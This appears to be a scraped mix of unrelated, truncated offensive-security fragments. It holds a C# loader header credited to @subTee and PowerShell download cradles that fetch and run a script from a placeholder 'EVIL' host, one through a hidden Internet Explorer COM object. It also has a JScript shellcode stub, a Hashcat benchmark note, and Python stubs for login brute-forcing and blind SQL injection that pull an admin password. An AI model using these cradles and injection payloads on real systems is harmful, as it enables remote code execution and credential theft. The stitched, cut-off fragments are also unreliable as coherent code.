atropineal

using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;

/*

Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause

Create Your Strong Name Key -> key.snk

atropineal

# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')

# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

# Msxml2.XMLHTTP COM object

atropineal

import System;
import System.Runtime.InteropServices;
import System.Reflection;
import System.Reflection.Emit;
import System.Runtime;
import System.Text;
 
//C:\Windows\Microsoft.NET\Framework\v2.0.50727\jsc.exe Shellcode.js
//C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Shellcode.js
 

atropineal

Nvidia RTX 2080 FE Hashcat Benchmarks

Product: As there is currently no Linux driver, we had to use chick3nman's desktop (Windows 7)

Software: Hashcat v4.2.1, Nvidia driver 411.63

Accelerator: 1x Nvidia RTX 2080 Founders Edition

Notes

atropineal

import requests, time
from math import trunc

params = {
    'login-php-submit-button' : 'Login',
}
usernames = [
    'admin', 'bryce', 'dave', 'cal', 'patches', 'jeremy', 'PPan', 'dreveil',
    'samurai', 'scotty', 'jim', 'kevin', 'adrian', 'bobby', 'james', 'simba',
    'john', 'rocky', 'ed', 'tim', 'ABaker', 'CHook'

atropineal

import requests, sys

params = {
    'username' : '',
    'login-php-submit-button' : 'Login',
}
cookies = {}
username = 'admin'

sqli = '\' or (select char_length((select password from accounts where username = \'admin\')) = <length>);#'

atropineal

import requests

params = {
    'username' : '',
    'login-php-submit-button' : 'Login',
}
cookies = {}
sqli = '\' or true limit <index>,1;#'
accountNames = set()